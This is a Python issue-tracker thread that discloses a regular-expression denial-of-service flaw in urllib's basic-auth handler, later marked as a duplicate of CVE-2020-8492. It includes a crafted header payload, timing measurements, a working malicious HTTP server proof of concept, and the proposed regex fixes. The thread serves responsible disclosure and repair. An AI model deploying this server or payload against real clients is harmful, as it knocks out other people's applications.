The regular expression urllib.request.AbstractBasicAuthHandler.rx is vulnerable to malicious inputs which cause denial of service (REDoS).
The regex is:
    rx = re.compile('(?:.*,)*[ \t]*([^ \t]+)[ \t]+'
                    'realm=(["\']?)([^"\']*)\\2', re.I)
The first line can act like:
    (,*,)*(,+)[ \t]
Showing that there are many different ways to match a long sequence of commas.
Input from the WWW-Authenticate or Proxy-Authenticate headers of HTTP responses will reach the regex via the http_error_auth_reqed method as long as the header value starts with "basic ".
We can craft a malicious input:
    urllib.request.AbstractBasicAuthHandler.rx.search(
        "basic " + ("," * 100) + "A"
    )
Which causes catastrophic backtracking and takes a large amount of CPU time to process.
I tested the length of time (seconds) to complete for different numbers of commas in the string:
18   0.289
19   0.57
20   1.14
21   2.29
22   4.55
23   9.17
24  18.3
25  36.5
26  75.1
27 167
Showing an exponential relationship O(2^x) !
The maximum length of comma string that can fit in a response header is 65509, which would take my computer just 6E+19706 years to complete.
Example malicious server:
    from http.server import BaseHTTPRequestHandler, HTTPServer
    def make_basic_auth(n_commas):
        commas = "," * n_commas
        return f"basic {commas}A"
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(401)
            n_commas = (
                int(self.path[1:])
                if len(self.path) > 1 else
                65509
            )
            value = make_basic_auth(n_commas)
            self.send_header("www-authenticate", value)
            self.end_headers()
    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()
Vulnerable client:
    import urllib.request
    opener = urllib.request.build_opener(urllib.request.HTTPBasicAuthHandler())
    opener.open("http://localhost:44020/")
As such, python applications using urllib.request may need to be careful not to visit malicious servers.
I think the regex can be replaced with:
    rx = re.compile('basic[ \t]+realm=(["\']?)([^"\']*)\\2', re.I)
- Ben

Thanks for the report. Please report security issues to security@python.org so that the security team can analyze and triage it to be made public. More information at https://www.python.org/news/security/

I have been advised that DoS issues can be added to the public bug tracker  since there is no privilege escalation, but should still have the security label.

A smaller change to the regex would be to replace the "(?:.*,)*" with "(?:[^,]*,)*".
I'd also suggest using a raw string instead:
rx = re.compile(r'''(?:[^,]*,)*[ \t]*([^ \t]+)[ \t]+realm=(["']?)([^"']*)\2''', re.I)

This issue is a duplicate of bpo-39503 which has a PR. Thanks Ben Caller for the report, I credited you in my fix ;-)

superseder: [security][CVE-2020-8492] Denial of service in urllib.request.AbstractBasicAuthHandler

nosy: + vstinner
messages: + msg364995
resolution: duplicate
stage: resolved